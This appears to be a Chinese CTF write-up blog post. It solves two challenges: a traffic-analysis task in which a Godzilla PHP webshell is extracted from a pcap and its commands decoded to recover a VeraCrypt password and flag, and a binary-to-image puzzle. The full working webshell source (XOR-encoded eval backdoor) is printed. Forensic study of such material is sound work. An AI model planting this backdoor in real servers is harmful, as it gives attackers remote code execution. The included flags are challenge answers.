2023年磐石行动第二十四周

第二十四周 20230926

1、eeasyflow

使用wireshark打开流量包在http协议中发现webshell的特征

在这里插入图片描述

其中从abc中提取到webshell的源码

在这里插入图片描述

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='aabbcc';
$payloadName='payload';
$key='61a60170273e74a5';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

发现是哥斯拉的木马,然后通过PuzzleSolver解码得到命令执行的原始数据

在这里插入图片描述

然后逐流查看发现一个流特别长,然后通过工具解码得到原始数据,并通过python将内容写入文件

在这里插入图片描述

file = b'''fileName\x02!\x00\x00\x00/Users/chang/Sites/test/vera.datafileValue\x02\x00\x00\x0c\x00x\xcf$Y\xc6>\xa8z\xc0\x8f\x9d\xcf\x02\xc8\xf09O\xc4#\x04\xfb\xd0\xc2:\xdd\xe4TAZy\x83\xb6\xe0^<9"8B\x0cm\xedh\x94E+\x1c\xc8\x1er\xf54\x93\xb7c\xe8;.+\xd4\x1b\xcb\x85\x00\xb6m"\x9e\xc4\x..............uploadFile'''
with open('./file1','wb') as f:
    f.write(file)

将文件前面不需要的数据去除fileName\x02!\x00\x00\x00/Users/chang/Sites/test/vera.datafileValue\x02\x00\x00\x0c\x00,然后得到一个加密文件

同时在后续的流中发现一个写文件的操作

在这里插入图片描述

b'cmdLine\x02R\x00\x00\x00sh -c "cd "/Users/chang/Sites/test/";echo \'abcdWXYZ123321@bcd@XYZ\' > abc.txt" 2>&1methodName\x02\x0b\x00\x00\x00execCommand'
得到密码 abcdWXYZ123321@bcd@XYZ

通过vera提示感觉应该是VeraCrypt,然后通过工具加载文件,在分区中得到隐藏文件.flag.txt

在这里插入图片描述

得到flag如下:

DASCTF{bf8e9778c0a121be92b721569587ab44}

2、神秘讯息

第一段信息
10000110000111000011110000111110000111111000011111110000111111110000111111111000011111111110000
间隔为4个0,然后特征就是 1 11 111 1111 表示从1到10

第二段信息
110000111110000000011000011111000000001111110000110000111110000
间隔为4个0,然后就是11 11111 11 11111  111111 11 11111 25 25 625

第三段信息
然后第三段信息长度为62500

然后通过脚本绘制25*25的图片

from PIL import Image
MAX = 250
pic = Image.new("RGB",(MAX, MAX))
with open('./01.txt','r') as f:
    str = f.read()
print(len(str))
i=0
for y in range (0,MAX):
    for x in range (0,MAX):
        if(str[i] == '1'):
            pic.putpixel([x,y],(0, 0, 0))
        else:
            pic.putpixel([x,y],(255,255,255))
        i = i+1
pic.show()
pic.save("flag.png")

在这里插入图片描述

通过百度识图发现这个是图片是旅行者金唱片

然后flag为

md5('lxzjcp') = 87bc583d375309f0838cf56ea5f2e447

flag如下:

flag{87bc583d375309f0838cf56ea5f2e447}
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值